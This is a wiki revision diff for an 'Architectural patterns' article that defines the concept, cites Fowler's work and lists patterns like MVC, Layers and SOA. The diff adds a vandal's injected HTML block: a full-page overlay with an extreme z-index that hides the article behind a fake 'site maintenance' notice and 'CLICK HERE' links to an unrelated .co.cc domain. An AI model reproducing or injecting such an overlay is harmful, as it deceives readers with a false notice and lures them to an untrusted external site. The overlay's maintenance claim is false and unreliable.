Architectural patterns
Nelson Shaw (Talk | contribs) |
|||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://itubibygucy.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://itubibygucy.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
[[Category:Patterns]] | [[Category:Patterns]] | ||
Line 7: | Line 15: | ||
=== Relation to design patterns === | === Relation to design patterns === | ||
− | Compared to design patterns, architectural patterns describe larger and more abstract software structures. (Design patterns are sometimes called | + | Compared to design patterns, architectural patterns describe larger and more abstract software structures. (Design patterns are sometimes called "micro-architectures" to emphasise the difference in scale.) |
− | The groundwork for architectural patterns was laid by [[Party of five 1996]], who described architectural patterns, design patterns and idioms. [[Martin Fowler 1997]] also touched on architectural patterns by describing 2-tier, 3-tier and n-tier architectures, and by raising the topic of how to structure applications that depend on databases. [[Martin Fowler 2003]] greatly expands on his earlier architectural patterns ideas, emphasising layered systems, distribution, web interfaces and databases. These topics are sometimes known as | + | The groundwork for architectural patterns was laid by [[Party of five 1996]], who described architectural patterns, design patterns and idioms. [[Martin Fowler 1997]] also touched on architectural patterns by describing 2-tier, 3-tier and n-tier architectures, and by raising the topic of how to structure applications that depend on databases. [[Martin Fowler 2003]] greatly expands on his earlier architectural patterns ideas, emphasising layered systems, distribution, web interfaces and databases. These topics are sometimes known as "enterprise architecture" or "enterprise patterns". |
Fowler's web site has a list of [http://www.martinfowler.com/articles/enterprisePatterns.html|catalogs of enterprise patterns]. | Fowler's web site has a list of [http://www.martinfowler.com/articles/enterprisePatterns.html|catalogs of enterprise patterns]. | ||
Line 15: | Line 23: | ||
* [[Datamart]] | * [[Datamart]] | ||
* [[Operational Data Store (ODS)]] | * [[Operational Data Store (ODS)]] | ||
− | * [[ETL ( Data Extraction Transformation & Loading)]] | + | * [[ETL ( Data Extraction Transformation & Loading)]] |
* [[Layers]] | * [[Layers]] | ||
* [[Model View Controller]] | * [[Model View Controller]] |
Revision as of 07:02, 24 November 2010
Definition
Architectural patterns describe how to structure a whole application, or an important aspect of it. It is not necessarily an architecture, but a concept that solves and delineates some essential cohesive elements of a software architecture. Many different architectures may implement the same pattern, and as such have a number of related characteristics.
Relation to design patterns
Compared to design patterns, architectural patterns describe larger and more abstract software structures. (Design patterns are sometimes called "micro-architectures" to emphasise the difference in scale.) The groundwork for architectural patterns was laid by Party of five 1996, who described architectural patterns, design patterns and idioms. Martin Fowler 1997 also touched on architectural patterns by describing 2-tier, 3-tier and n-tier architectures, and by raising the topic of how to structure applications that depend on databases. Martin Fowler 2003 greatly expands on his earlier architectural patterns ideas, emphasising layered systems, distribution, web interfaces and databases. These topics are sometimes known as "enterprise architecture" or "enterprise patterns".
Fowler's web site has a list of of enterprise patterns.
Architecture Patterns
- Datamart
- Operational Data Store (ODS)
- ETL ( Data Extraction Transformation & Loading)
- Layers
- Model View Controller
- Presentation Abstraction Control
- Multitier architecture
- Pipe and filter architecture
- Implicit Invocation
- Blackboard System
- Peer To Peer
- Service Oriented Architecture
- Naked objects